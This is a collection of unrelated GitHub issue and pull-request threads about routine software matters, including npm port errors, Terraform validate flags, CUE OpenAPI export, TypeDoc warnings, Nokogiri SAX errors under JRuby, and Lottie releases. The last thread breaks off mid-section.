[1] [1]
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]  Please include the following file with any support request:
[1] [1]
[1]
[1] [1] npm
[1]
[1] [1]
[1]
[1] [1] ERR!
[1]
[1] [1]      /vagrant/npm-debug.log
[1] [1]
[1]
[1] [1] npm run localhost exited with code 1
[1]
[0] http://<IP_ADDRESS>:8080/webpack-dev-server/
[0]
[0] webpack result is served from http://localhost:8080/dist/
[0]
[0] content is served from ./static

Use PORT=8084 npm run start. That should set the correct port, and avoid trying to open the browser.

Sweet. That works though I don't need to set the PORT since it actually run on the original port in the docker container. I just have port 8084 forwarded to 8080 on my host machine. Thanks for helping a newbie.


SW-1749 Split SearchServiceTest

Create abstract base class for SearchServiceTest

Inherits DatabaseTest
Implements RunAsUser
Contains helper vals/funs

Divide tests by purpose

I have a couple other merges queued up in Graphite right now but I'll merge this one when they're done.

Terrific. This was a real beast of a test class.

It was a big'un!


tfValidate vars and var-file argument removal

This PR updates the tfValidate function so it does not pass any -var or -var-file arguments to the validate command as it seems to be deprecated in 0.12 and warnings like below are raised.
Tested on 6.1-0.12.11:
$ terraform validate -var-file=config/test/terraform.tfvars -var build_number=4237

Warning: The -var and -var-file flags are not used in validate. Setting them has no effect.

These flags will be removed in a future version of Terraform.

Success! The configuration is valid, but there were some validation warnings as shown above.

Also adds tfValidate test.

bump @jmccann

fixes #108

Actually, I cleaned this up and pushed to master.  Thanks!

released in jmccann/drone-terraform:6.2-0.12.11


Defining arrays/lists with length specified by multiplication produces incorrect OpenAPI specs

Discussed in https://github.com/cue-lang/cue/discussions/1115

Originally posted by nieware July 19, 2021
For the following simple CUE code which defines a match object containing two team names (as an array of two strings) and the score of the match (as an array of two integers):
#match: {
	id: int
	teams: 2 * [string]
	score: 2 * [int]
}

when I run cue export --out openapi test.cue (with CUE v0.4.0), I get the error messages:
components.schemas.match.properties.score.default.0: incomplete value int
components.schemas.match.properties.score.default.1: incomplete value int
components.schemas.match.properties.teams.default.0: incomplete value string
components.schemas.match.properties.teams.default.1: incomplete value string

If I change string to string | *null, it works - however I don't really see why the elements of an array need to have a default value in order to be exported as OpenAPI (especially since there is no such requirement for object properties)? Am I missing something here or doing something wrong?
But even if I define default values for both array elements, the generated output contains the following:
"teams": {
    "type": "array",
    "items": [
        {
            "$ref": "#/components/schemas/match._.x"
        },
        {
            "$ref": "#/components/schemas/match._.x"
        }
    ],
    "default": [
        null,
        null
    ]
},

The references under "items" look a bit strange. "match.[any/top].x" ? I'm pretty new to CUE, so I'm not sure what's going on here?

Using a list comprehension instead of * produces the correct OpenAPI schema:
import "list"

let Size = 2

#match: {
	id: int
	teams: [for i in list.Range(0, Size, 1) {string | *null}]
	score: [for i in list.Range(0, Size, 1) {int | *0}]
}

produces:
{
    "openapi": "3.0.0",
    "info": {
        "title": "Generated by cue.",
        "version": "no version"
    },
    "paths": {},
    "components": {
        "schemas": {
            "match": {
                "type": "object",
                "required": [
                    "id",
                    "teams",
                    "score"
                ],
                "properties": {
                    "id": {
                        "type": "integer"
                    },
                    "teams": {
                        "type": "array",
                        "items": [
                            {
                                "type": "string",
                                "default": null,
                                "nullable": true
                            },
                            {
                                "type": "string",
                                "default": null,
                                "nullable": true
                            }
                        ],
                        "default": [
                            null,
                            null
                        ]
                    },
                    "score": {
                        "type": "array",
                        "items": [
                            {
                                "type": "integer",
                                "default": 0
                            },
                            {
                                "type": "integer",
                                "default": 0
                            }
                        ],
                        "default": [
                            0,
                            0
                        ]
                    }
                }
            }
        }
    }
}

Please see my response in https://github.com/cue-lang/cue/discussions/1115#discussioncomment-1025495. This is working as intended, with the caveat that if there are documentation examples that point towards list operators they need to be fixed.


Fixed cloud deploy bugs.

Using the cloud deploy file instead of the cloud deploy target file to manage deployment parameters. Avoid overwriting deployment parameters when two different applications are deployed at the same time.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Please upload report for BASE (main@8261ab0). Learn more about missing BASE report.

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #12   +/-   ##
=======================================
  Coverage        ?   79.12%
=======================================
  Files           ?       31
  Lines           ?      728
  Branches        ?      141
=======================================
  Hits            ?      576
  Misses          ?      144
  Partials        ?        8

Flag
Coverage Δ

notifyapi
79.12% <ø> (?)

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


[ALLUXIO-3021]Supply the variable name to Preconditions.checkNotNull for class SwiftUnderFileSystemContractTest

https://alluxio.atlassian.net/browse/ALLUXIO-3021
[ALLUXIO-3021]Supply the variable name to Preconditions.checkNotNull for class SwiftUnderFileSystemContractTest

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/17007/
Test PASSed.


tools/setup is broken on linux workstations

From the logs:
99 silly lifecycle   'cross-env tools/sigh check && cd devtools && npm install' ]
100 info lifecycle<EMAIL_ADDRESS>Failed to exec prepare script
101 verbose stack Error<EMAIL_ADDRESS>prepare: `cross-env tools/sigh check && cd devtools && npm install`
101 verbose stack spawn ENOENT
101 verbose stack     at ChildProcess.<anonymous> (/usr/local/google/home/jwf/.nvm/versions/node/v10.15.3/lib/node_modules/npm/node_modules/npm-lifecycle/lib/spawn.js:48:18)
101 verbose stack     at ChildProcess.emit (events.js:189:13)
101 verbose stack     at maybeClose (internal/child_process.js:970:16)
101 verbose stack     at Process.ChildProcess._handle.onexit (internal/child_process.js:259:5)
102 verbose pkgid<EMAIL_ADDRESS>103 verbose cwd /usr/local/google/home/jwf/github/arcs
104 verbose Linux 4.19.67-2rodete2-amd64
105 verbose argv "/usr/local/google/home/jwf/.nvm/versions/node/v10.15.3/bin/node" "/usr/local/google/home/jwf/.nvm/versions/node/v10.15.3/bin/npm" "install"
106 verbose node v10.15.3
107 verbose npm  v6.13.1
108 error code ELIFECYCLE
109 error syscall spawn
110 error file sh
111 error errno ENOENT
112 error<EMAIL_ADDRESS>prepare: `cross-env tools/sigh check && cd devtools && npm install`
112 error spawn ENOENT
113 error Failed at the<EMAIL_ADDRESS>prepare script.
113 error This is probably not a problem with npm. There is likely additional logging output above.
114 verbose exit [ 1, true ]

The very first "Install dependencies" step looks to be failing at "prepare", and it does cross-env tools/sigh check && cd devtools && npm install, so it's like it doesn't have cross-env module installed yet, but I see it in devDependencies and AFAIK those are supposed to be installed before the prepare step.
Also, I wonder what changed, since this used to work (and works for me currently).
@jasonwyatt perhaps try running the equivalent of this script and then re-running setup?
I also see in your fuller log this bit prior to the cross-env issue: <excerpted>/.nvm/nvm.sh: line 148: 192980 Aborted                 $NVM_NPM_CMD install -g npm

An unrelated issue:
At the end, sigh prompts the user to "Serve the project: npm start", but we moved to tools/sigh devServer.

Why are we using cross-env? It seems like it's there to solve a problem that we don't have: https://github.com/kentcdodds/cross-env#the-problem (specifically, we are not setting environment variables).
I've tested removing it on my machine, and the install works fine.
Removing cross-env is a nuclear option, but it sounds like it would resolve the issue.

We typically were using it to allow Unix-like shell commands on Windows. tools/sigh check && cd devtools && npm install won't do the right thing in a Windows command shell for example. I am sure we could structure what we do prepare-wise to work around differently though.

Closing this. It seemed to be an issue with some conflicting Node versions on my workstation and isn't a common problem on all linux workstations.


fix #1924

A proposal to fix  #1924

Thank you for your submission. We've chosen to not move forward with this proposal.


RecordsSubscribe

This PR builds on top of the existing EventStream and adds a subscription specifically for the Records interface which follows similar rules as those for RecordsQuery.
Currently the subscription does not evict or re-authorize subscriptions after the initial processing of the message. So if a revocation of permissions happens after the subscription is live, the user will continue getting notified until they close the connection.
This will be addressed in a separate PR to keep things more concise and easier to follow. https://github.com/TBD54566975/dwn-sdk-js/issues/668

Codecov Report
Attention: 26 lines in your changes are missing coverage. Please review.

Comparison is base (908d5f0) 98.86% compared to head (5ef8e8e) 98.66%.

Files
Patch %
Lines

src/handlers/records-subscribe.ts
94.69%
14 Missing and 1 partial :warning:

src/core/records-grant-authorization.ts
82.85%
6 Missing :warning:

src/interfaces/records-subscribe.ts
97.24%
3 Missing :warning:

src/interfaces/records-write.ts
50.00%
2 Missing :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #667      +/-   ##
==========================================
- Coverage   98.86%   98.66%   -0.21%
==========================================
  Files          75       77       +2
  Lines        9656    10154     +498
  Branches     1422     1473      +51
==========================================
+ Hits         9546    10018     +472
- Misses        102      127      +25
- Partials        8        9       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

@thehenrytsai I've updated the PR based on comments and discussions.


Labels for the urls

If I have multiple urls it can be hard to identify witch one is witch it would be nice if I could name the urls so instead of displaying the url it would show the title or label witch is a label

I support this, it shouldnt be very difficult to implement and it could be an optional field, being the dns url shown if the name/label is left empty.

Addresses are now stored as a simple list of strings, implementing this properly would require replacing that with something more complex. I'll take a look at which way would be the best, but don't expect it to be done tomorrow.


Responsive event grid

Description
When the dimensions is 1600px or less can see 2 columns
fixes #226
Screenshots

Type of change

[x] Bug fix (non-breaking change which fixes an issue)

How to test it

Go to 'events.'
Change dimensions

✔ The change looks pretty good just a comment

When you are on bigger screens you should see more than two items

Current

Expected result in resolutions of more than 2500 px

@angelik0828 can you review?


Add support .Net Core

Hi, Do you add support for .net core ? Thanks.

Sorry, there is supported.


--append-rules from S3 bucket

This is a feature request,
It would be really nice if we could specify an S3 bucket for  --append-rules.  This would make it easy to share custom rules across our organisation / codebuilder

This is What I ended up doign with my Buildspec.   AS you can see its copying some files across from S3.   I have another pipleine that migrates the contents of a Repo to the S3 bucket, when they are committed.    The S3 bucket is available for our team to read, so they can use our custom rules.
I imagine something like this;
cfn-lint template.yaml --append-rules-from-s3 s3://s3bucketname --profile my-aws-profile
I will have a look at the source, this might not be so hard to implement myself.
BuildSpec: |             version: 0.2             phases:               install:                 commands:                    - pip install cfn-lint                   - mkdir msrules                   - cd msrules                   - aws s3 cp s3://cfn-lint-rules . --recursive                   - cd ..               build:                 commands:                   - cfn-lint template.yaml --append-rules msrules             artifacts:               type: zip               discard-paths: yes               files: template.yaml

Going to lean on the side of Unix philosophy where other tools solve fetching remote files better, especially if handling credentials, and I'd recommend the solution you landed on
similar issues: https://github.com/aws-cloudformation/cloudformation-guard/issues/24, https://github.com/aws-cloudformation/cfn-python-lint/issues/1094


Remove marshmallow from RunConfig

Summary
This commit removes marshmallow from the RunConfig assembler class. This
class is just an arbitrary attribute access wrapper around a dictionary
which is best built using Simple Namespace or a similar type. However,
it was originally built using marshmallow which is not a good fit.
Marshmallow, beside being currently removed form everything in
qiskit-terra, is not the right choice for this class. Marshmallow is
designed to provide a python class structure alternative to
something like jsonschema to validate json (or similar) input on an
api server. It's easier to work with than jsonschema because it
provides a python api. It is not a good choice for anything besides
this. Especially in this case where there is actually no useful
validation happening, the schema is blank. So for the RunConfig
class was having all the overhead of constructing a marshmallow model
and schema and running validation at construction time for something
that can just be defined as a SimpleNamespace subclass.
Details and comments

Good to see this! Hopefully over time we can add documentation for the various attributes that run config can have. This was definitely a pain point for me when I was working on changes in  assemble_schedules.py


This changeset updates the j2 files to reflect new configuration values

[x] styleCheck passes
[x] unit tests pass
[x] integration tests pass
- [ ] manual tests pass
- [ ] API docs updated

This build looks good.


Lists

First edits on ol and dl tags.  ul and li have some content already.

This PR seems to include changes from #86 . Do you just want to close #86 and keep this one?

The content of a  in a  does not get an automatic period at
the end.  Whether in the example the title element should be followed by a
colon or not is a bit ambiguous.  In normal text, a colon follows a
complete sentence, not an incomplete one.  However, in this case the title
is the marker for the list item, and typically has some punctuation
following it.  I tried without and it looks incomplete.  I shall put the
colons in unless you reply quickly enough ;-)
As to the PR, it seems that when I checked out the branch for lists, I was
still on the sage branch, so it seems that content got pulled in as well.
I'll cancel the other one.
Tom
On Mon, Sep 2, 2024 at 11:15 AM Jason Siefken @.***>
wrote:

@.**** commented on this pull request.
In packages/docs/pages/reference/elements/dl.mdx
https://github.com/siefkenj/pretext-book/pull/87#discussion_r1740171835:

\ No newline at end of file

+
+

   <title>Groups of order 4:</title>

Is it best practices to include the colon or omit it? Does the content of
the  tag get an automatic . after it like the title of a theorem?
In packages/docs/pages/reference/elements/ol.mdx
https://github.com/siefkenj/pretext-book/pull/87#discussion_r1741055346:

@@ -8,12 +8,64 @@ import {

<ol>
-Short description of what the <ol> tag does.
+The <ol> tag renders an ordered list with default markers which can (if
+desired) be modified.  For comparison, see <ul>.
Syntax

It would be good to list all the possibilities for marker. This can be
done by changing this line to
<SyntaxDisplay
name="ol"
defaultVariant="Ol"
additionalAttributeInfo={{
Ol: { marker: { value: "(1) (A) (a) (I) (i)" } }
}}/>
This also makes it so that the  for a list in a paragraph is the
default that shows, rather than the  exercises.
—
Reply to this email directly, view it on GitHub
https://github.com/siefkenj/pretext-book/pull/87#pullrequestreview-2274465650,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ANHA5DDMIVRVC4BQUPDEVKDZUR6HPAVCNFSM6AAAAABNGXHSKWVHI2DSMVQWIX3LMV43YUDVNRWFEZLROVSXG5CSMV3GSZLXHMZDENZUGQ3DKNRVGA
.
You are receiving this because you authored the thread.Message ID:
@.***>

--
Thomas R. Shemanske
Grantham, NH


Change pin

How do I change the pin to PA0 or PA5? Have a table?

Possible ADC channels are ADC0 -> ADC9.
https://docs.zephyrproject.org/latest/boards/arm/blackpill_f411ce/doc/index.html
Datasheet:
https://www.st.com/resource/en/reference_manual/dm00119316-stm32f411xc-e-advanced-arm-based-32-bit-mcus-stmicroelectronics.pdf
See datasheet section 8.4.1, two high bits select the analog function for the pin.
line 14
  GPIOA->MODER |= GPIO_MODER_MODE5_1 | GPIO_MODER_MODE5_0; // analog mode PA5
See datasheet section 11.3.3, for general description. Also see register description 11.12.9, L=0 is 1 conversion, the 5bits will select the channel number.
line 15
  ADC1->SQR3   |= ADC_SQR3_SQ1_2 | ADC_SQR3_SQ1_0;                          // channel 1, PA5

In this line
ADC1->SQR3 |= ADC_SQR3_SQ1_2 | ADC_SQR3_SQ1_0; // channel 1, PA5
You write the number 101.
How do I change the channel number after that? It is necessary to write the number 001. How to write 0 instead of 1?

@workpage2
You can write the entire 32bit register to zero
ADC1->SQR3 = 0x00000000;

Check please.
GPIOB->MODER |= GPIO_MODER_MODE0_1 | GPIO_MODER_MODE0_0; // analog mode PB0
and I choose the channel number:
ADC1->SQR3   |= ADC_SQR3_SQ1_3;  // channel 1, PB0
This does not work. (

@workpage2 PB0 only connects to ADC channel 8. See https://docs.zephyrproject.org/latest/boards/arm/blackpill_f411ce/doc/index.html
ADC1->SQR2 |= ADC_SQR2_SQ8_0; // channel 8, PB0

@workpage2 I was able to get ADC channels 0 thru 7 working, but 8 and 9 I could not get to work. I was thinking that some default value was helping GPIOA to work better than GPIOB, but I could not see any muxes which would be needed to bring GPIOB pins to the ADC block. This makes me think that it is a bug (either documentation, library, compiler or hardware). I hate using the HAL ADC functions, but maybe they have additional register writes which are needed for GPIOB, but not documented.


How do I know where the cursor is located?

I want to insert an image from an outside click button. How can I know the location of the cursor?

var range = quill.getSelection();用这个方法，range.index就是他的位置


Homework10: Mariya Simonenko

Hello @Mary-si , the pylint fails PR because of space in the filename:

спасибо((((


Dynamic dependencies: prevent use of pre-release versions

Hi,
I am rather new to Gradle and to the Maven repositories (user Ant and local libraries before), so please be indulgent if I write nonsense or if there is already a solution for it.
I have the following problem: I would like to use the dynamic dependencies, e.g. ranges like [1.2,2), but this may cause that versions are picked up that are named as alpha, beta or a milestone release. It seems to me that I cannot prevent this. According to the documentation, these non-numeric labels are included into the version match and are then treated as subordinated versions of their prefix. One publisher even used the specific label ".Final" for their production-grade versions, but I did not manage to provide a suitable pattern (I tried something like "library:[1.2,2).Final", but it didn't work).
I found some tricks in the web which add some special code to filter the libraries, but this is quite library-specific and cumbersome. As the Maven repository turns out to be far more chaotic than I expected, I guess that there is no suitable meta information for the packages which reveal their development status, so the version string is the only means to take into account. I wonder whether Gradle could be extended to better deal with the situation. I am to unexperienced that I can formulate a concrete proposal, but I imagine an extended pattern for the version string and/or a global ignore pattern, e.g. that I can specify that all versions are ignored that end with .Alpha, .Beta or whatever.

The good news is that we aiming to fix this in an upcoming Gradle version by having the excluded upper bound of a range behave like a prefix exclusion. So doing something like ...,2) will exclude all versions starting with 2 and larger than 2.
Follow the evolution through #13050.
And closing this as duplicate for now.

Looks like I missed addressing the status part in your question. Have a look at #6023 which shows how you can combine a dynamic version with a status limitation.
That issue also indicates the support is not yet 100% complete, but can be working for the release use case.
However, by default Gradle interprets Maven dependencies as release unless they are a -SNAPSHOT, which are then integration.
So you would have to combine this with a component metadata rule to change the status of versions for specific patterns like beta, rc, etc ...
Have a look at the following documentation for details

This is what I called cumbersome ;-) But as said, I have no idea how to represent this nicely and briefly. So I accept that you close the issue, and if you or someone else would be somehow a little bit inspired by my statements, this would be sufficient for me.


Docs: Recommend ULID

Just a reminder for later, we should remove/replace all usage of Guid in our samples. There are a few cases only

I'd suggest we use the term "Time-based IDs" in contrast to "Random IDs".
This broader category includes ULID and other implementations such as UUID v7, SnowFlake ID, KSUID, etc.


use same instance on symlinked modules

Handle required packages by their real path.
Resolves #1063
Again, this is a request for further comment.
This isn't using a cache which might be faster (or not, since resolve might only be called for new packages encountered).

Updated PR. Tests now pass.

Aside from the sync issue, this looks good.

I added some tests for the case in #831 and everything works. Published in 10.2.5/10.2.6. Thanks for the patch!

This update is breaking our build. :-(
Problem:

We have two modules, app and shared
shared is symlinked into app
Both app and shared use a module foo, which is installed in app/node_modules/foo (but not shared/node_modules)
Now shared can't find foo


[SPARK-12060][CORE] Avoid memory copy in JavaSerializerInstance.serialize

Merged #10051 again since #10083 is resolved.
This reverts commit 328b757d5d4486ea3c2e246780792d7a57ee85e5.

Test build #47248 has started for PR 10167 at commit c100251.

Test build #47248 has finished for PR 10167 at commit c100251.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/47248/
Test PASSed.

Merging to master since it's same as #10051.


Possible false warning "Warning: , defined at , is referenced by  but not included in the documentation" in 0.22.3

Search terms
warning
Expected Behavior
No warnings should be shown
Actual Behavior
A warnings was shown
Steps to reproduce the bug
typedoc.json:
{
	"entryPoints": [
		"./src/components",
		"./src/data",
		"./src/framework",
		"./src/global_types"
	],
	"entryPointStrategy": "expand",
	"out": "doc",
	"exclude": [
		"**/*.js",
		"node_modules"
	],
	"excludeExternals": true,
 	"hideGenerator": true,
	"readme": "none"
}

src/components/statuschange/index.ts:80:
// --> this is actually line 80, so there might be a problem with the line number
type baseOptionsType = { // --> line 81 with the private declaration of baseOptionsType
	type: statuschangeData.HeaderDataEnum,
	multiple: boolean,
	isDialogSelector?: string,
};

export type ceOptionsType = baseOptionsType & { // line 87 with the exported declaration of ceOptionsType
	type: statuschangeData.HeaderDataEnum.CE,
	ceID: Array<number>,
	matchCode: Array<string>,
};

shows the following warning:
Warning: baseOptionsType, defined at src/components/statuschange/index.ts:80, is referenced by components/statuschange.ceOptionsType but not included in the documentation.

Environment

Typedoc version: 0.22.3
TypeScript version: 4.4.3
Node.js version: 16.9.1
OS: macOS 11.5.2

This seems to be working as intended, the warning is saying that the generated documentation for ceOptionsType will be
type ceOptionsType = baseOptionsType & { ... }

But this is not very useful to your API consumers because they can't click on baseOptionsType in order to see what is being documented.

Thank you for your feedback, but i'm not sure i understand.
Is the 'baseOptionsType' type not documented because it is not exported?

That's correct, TypeDoc hasn't documented non-exported symbols since 0.20. #1657 is the canonical issue about it

This brings me back to my original #1685 and on how to best deal with the new warnings in 0.22.2.
If not-exported symbols are no longer considered since TypeDoc 0.20, why do I only get the new warnings after upgrading from 0.21 to 0.22? Using the intentionallyNotExported settings (at least for my use case) is almost impossible given the large number (>1000) of warnings.
In my projects I try to only export what is absolutely needed and typically types consist of multiple base types and only the final type used in the API is actually exported and "visible" to the user of the API.
Is there maybe a way to either also consider the not-exported symbols visible in TypeDoc or to disable all warnings for symbols that have not been exported?

why do I only get the new warnings after upgrading from 0.21 to 0.22?

Because this warning didn't exist in 0.21.

Is there maybe a way to either also consider the not-exported symbols visible in TypeDoc

That's why I linked #1657, there's a plugin, typedoc-plugin-missing-exports which will do that.

or to disable all warnings for symbols that have not been exported?

// typedoc.json
{
  "validation": {
    "notExported": false
  }
}

Thank you!


vue-hot-reload-api add full path to main.js

Hi,
It's possible to remove or replace the id, because I have my path inside? I tried gulp --production and nothing.
if (!hotAPI.compatible) return
  var id = "/Users/gabi/Desktop/Music/resources/assets/js/components/main-wrapper/extra/index.vue"
  module.hot.dispose(function () {

As this has nothing to do with Koel itself, please try Googling.


feat: add IBM Granite code models to the catalog

Fixes #1157
What does this PR do?
Add IBM Granite Code models to the catalog.
Screenshot / video of UI
N/A
What issues does this PR fix or reference?
#1157
How to test this PR?
Run the codegeneration recipe.

@jeffmaury have you tried running them? I have empty responses :/

Works for me:


Error Handling for Nokogiri::XML::SAX::Document under jruby seems broken

What problems are you experiencing?
Created a subclass of Nokogiri::XML::SAX::Document that raises an exception in the #error method.  Tried to parse a non-well-formed XML document, expecting the error to be raised, but it wasn't.
What's the output from nokogiri -v?
    ---
    warnings: []
    nokogiri: 1.9.1
    ruby:
      version: 2.5.0
      platform: java
      description: jruby <IP_ADDRESS> (2.5.0) 2018-12-06 6d5a228 OpenJDK 64-Bit Server VM 25.191-b12
        on 1.8.0_191-b12 +jit [linux-x86_64]
      engine: jruby
      jruby: <IP_ADDRESS>
    xerces: Xerces-J 2.12.0
    nekohtml: NekoHTML 1.9.21

Can you provide a self-contained script that reproduces what you're seeing?
#!/usr/bin/env ruby

require 'nokogiri'

class NoopDocument < Nokogiri::XML::SAX::Document
    def start_element(el, attrs)
        puts "#{el}"
    end

    def end_element(el)
        puts "/#{el}"
    end

    def error(msg)
        raise(StandardError, msg)
    end
end

data = %q{<xml><element/ <element att="^G"/></xml>}

doc = NoopDocument.new
p = Nokogiri::XML::SAX::Parser.new(doc)

begin
    p.parse(data)
    puts "completed without errors."
rescue StandardError => e
    puts e
    puts "An (expected) error was thrown"
end

outputs

xml
completed without errors.

When run under the above configuration.  When I change rubies to 2.5.1 and now nokogiri -v outputs:
# Nokogiri (1.9.1)
    ---
    warnings: []
    nokogiri: 1.9.1
    ruby:
      version: 2.5.1
      platform: x86_64-linux
      description: ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-linux]
      engine: ruby
    libxml:
      binding: extension
      source: packaged
      libxml2_path: "/home/ajconsta/.gem/ruby/2.5.1/gems/nokogiri-1.9.1/ports/x86_64-pc-linux-gnu/libxml2/2.9.8"
      libxslt_path: "/home/ajconsta/.gem/ruby/2.5.1/gems/nokogiri-1.9.1/ports/x86_64-pc-linux-gnu/libxslt/1.1.32"
      libxml2_patches:
      - 0001-Revert-Do-not-URI-escape-in-server-side-includes.patch
      - 0002-Fix-nullptr-deref-with-XPath-logic-ops.patch
      - 0003-Fix-infinite-loop-in-LZMA-decompression.patch
      libxslt_patches: []
      compiled: 2.9.8
      loaded: 2.9.8

I see the expected output:
xml
error parsing attribute name
An (expected) error was thrown

(for reference, in case GitHub 'cleans' the document, the attribute value in the included XML is \x07, which is not valid for the utf-8 encoding.  I also made the document not well-formed in more obvious ways to crank up the error-throwing capabilities.)

Hey, thank you so much for reporting this! I'm not at all confident that the JRuby implementation of the SAX parser has had many eyes on it over the years, and so it's great to hear feedback.
I'll make sure someone takes a look at this in the next few days.

Did some research of my own; my current thinking is that the culprit is
https://github.com/sparklemotion/nokogiri/blob/master/ext/java/nokogiri/internals/NokogiriHandler.java#L256
-- when the underlying (Java) SAX parser encounters the error, NokogiriHandler (which is registered as the SAX ErrorHandler here) in turn calls the #error method on the Nokogiri::XML::SAX::Document class (implemented in Ruby), and the catch block linked above effectively swallows the exception thrown in the ruby code.
My first reaction is to take out the catch block here, on the assumption that if the #error method throws and exception that's on the implementer of that method; this is how it works under MRI, as the test case shows.  There might be something more subtle, e.g. if the RaiseError is a ruby exception, retthrow it, whereas if it's a Java exception, wrap and rethrow, but I am not familiar enough with the general intent.  If you have a preference for one of these two, I can create a PR.

It looks like the XmlSAXPushParser test depends on the current behavior, viz. that unless NokogiriHandler.java populates addError, its tests will fail (you can push bad XML into it and if the document implementation raises an exception it will propagate up to Ruby.  This is due to the thread juggling on which that implementation is based.  A full fix will have to find a way to propagate the error properly in both cases.

Still working on a PR; I can make all the tests pass by keeping the try/catch behavior referenced above and calling addError in the catch block before rethrowing the RaiseException.  This satisfies both the push and SAX parser tests.   Not sure if this has weird side effects (what with threads being involved n'all).

Closed by #1872


Update ui tests to run cleanly again

[16:23:00] I/launcher - 0 instance(s) of WebDriver still running
[16:23:00] I/launcher - chrome #01-0 passed
[16:23:00] I/launcher - chrome #01-1 passed
[16:23:00] I/launcher - chrome #01-2 passed
[16:23:00] I/launcher - chrome #01-3 passed
[16:23:00] I/launcher - chrome #01-4 passed
[16:23:00] I/launcher - chrome #01-5 passed
[16:23:00] I/launcher - chrome #01-6 passed
[16:23:00] I/launcher - chrome #01-7 passed
[16:23:00] I/launcher - chrome #01-8 passed
[16:23:00] I/launcher - chrome #01-9 passed
[16:23:00] I/launcher - chrome #01-10 passed
[16:23:00] I/launcher - chrome #01-11 passed
[16:23:00] I/launcher - chrome #01-12 passed
[16:23:00] I/launcher - chrome #01-13 passed
[16:23:00] I/launcher - chrome #01-14 passed
[16:23:00] I/launcher - chrome #01-15 passed
[16:23:00] I/launcher - chrome #01-16 passed
[16:23:00] I/launcher - chrome #01-17 passed
[16:23:00] I/launcher - chrome #01-18 passed

@ldimaggi fabric8/fabric8-ui:SNAPSHOT-PR-2305-1 is deployed and available for testing at https://fabric8-ui-fabric8-ui-pr-2305-fabric8-planner.badger.fabric8.io

@ldimaggi Are you sure the v2.33 of webdriver works with older versions of chrome?

I ran the PR locally and all the tests are passing :+1:

@ldimaggi fabric8/fabric8-ui:SNAPSHOT-PR-2305-2 is deployed and available for testing at https://fabric8-ui-fabric8-ui-pr-2305-fabric8-planner.badger.fabric8.io

@ldimaggi fabric8/fabric8-ui:SNAPSHOT-PR-2305-3 is deployed and available for testing at https://fabric8-ui-fabric8-ui-pr-2305-fabric8-planner.badger.fabric8.io

@ldimaggi fabric8/fabric8-ui:SNAPSHOT-PR-2305-4 is deployed and available for testing at https://fabric8-ui-fabric8-ui-pr-2305-fabric8-planner.badger.fabric8.io


Supporting paste

Hello, I'm following the nodejs example in the example dir but am having some issues supported pasted text. It seems to append tilde's (~) around the pasted content (and only when setting the stdin into raw mode, without it I seem to be getting the control characters).
eg. irb(main):001:0> ^[[200~www.sephora.sg^[[201~
Is there any way to fix that?

That suggests a terminal application (e.g. irb) enabled bracketed-paste mode, but is not actually handling the control codes (which are added by your terminal, not SSM). I wouldn't think SSM can/should do anything to modify the data.
These are the normal options:

The receiving application (irb) needs to handle the control codes, or
Whatever enabled bracketed-paste mode... should not.


Is project dead ?

Versions
"lottie-ios": "3.1.8",
"lottie-react-native": "^3.5.0",
"react-native":"0.64.0-rc.2",
npm 7.0.14

No, it's not dead, we are preparing version 4 which will prepare lottie react native to be used in several new platforms, which takes time to test.

What do you think of your project version estimated release date?

I hope it is released within this month or beginning of next

Is this release going to fix not being able play loca files in react native? It's very glitchy for me that 1 in 10x works. Background of the json file not rendering correctly....not being able to play the animation only in specific frames

@emilioicai will version 4 include support for web as well?
I currently work on a cross-platform project and one issue I see is the slightly varying API between lottie-react-native, lottie-react and react-lottie ;)

@tobiaseisenschenk unfortunately no :/ We would need someone who has a good knowledge on react-native-web to send a PR for integrating lottie in it first.

@emilioicai Will lottiefiles v3 also be supported?

Probably not right in the next version but a future patch should resolve it

Alright - because not it is kind of a trial and error to find the correct files which are working.
Or can I somehow distinguish between v2/v3 files?

I'm afraid it's not a lottiefiles version issue but a problem with certain features which are not yet supported on lottie-react-native so you won't be able to see which ones will fail right away

Alright, I see. Thank your for the detailed explanation

v4.0.0 is just released. It contains three large changes:

Fix react-native 0.64 compatibility
Windows support [C#]
macOS Support (based on react-native-windows)

So I would really appreciate if you guys could help me testing it and creating any issues you might find.


Can't drag & drop with nw and frame disabled

It seems that I can't use drag-drop when I disable frame in package.json. Even if i set the draggable id as -webkit-app-region: drag;
My package.json
{
    "name": "Test",
    "main": "app/index.html",
    "window": {
        "width": 380,
        "height": 380,
        "frame": false,
        "resizable": false,
        "toolbar": false
    },
    "dependencies": {
        "drag-drop": "^2.13.2",
        "file-type": "^4.1.0",
        "font-awesome": "^4.7.0",
        "read-chunk": "^2.0.0"
    }

With the same code if i turn frame to true everything works as expected.

Sorry, I don't know how this NW.js option works, and I can't provide free support for it. I suggest asking the NW.js team / reading the docs about the frame option to learn how it affects drag handlers.

@feross Sorry for that! I just figured it out; it does work as expected now! Many thanks

Great :)


Improvement of Storage level balances

Background
The current implementation of the level balance in Storage nodes is unsatisfactory as it requires a large share of repetitions when different TimeStructures are used. In practice, the level balance of a Storage node should be only depend on the behavior of a storage node, that is whether it is Cyclic (the last level has to be coupled to the first) or Accumulating (no coupling between the last and the first level. Within these two core behaviors, several subbehaviors can be present. This behavior furthermore translates only to the previous level that should be considered for defining the balance.
Implementation
The implementation is achieved through automatically iterating through the TimeStructure and call the respective constraints on, e.g. , the level of RepresentativePeriods or OperationalScenarios. In the last structure, the level balance is solved through calling the function previous_level. The individual behavior of the storage node is included through changing Storage to be parametric including an AbstractStorageBehaviour.
Advantages
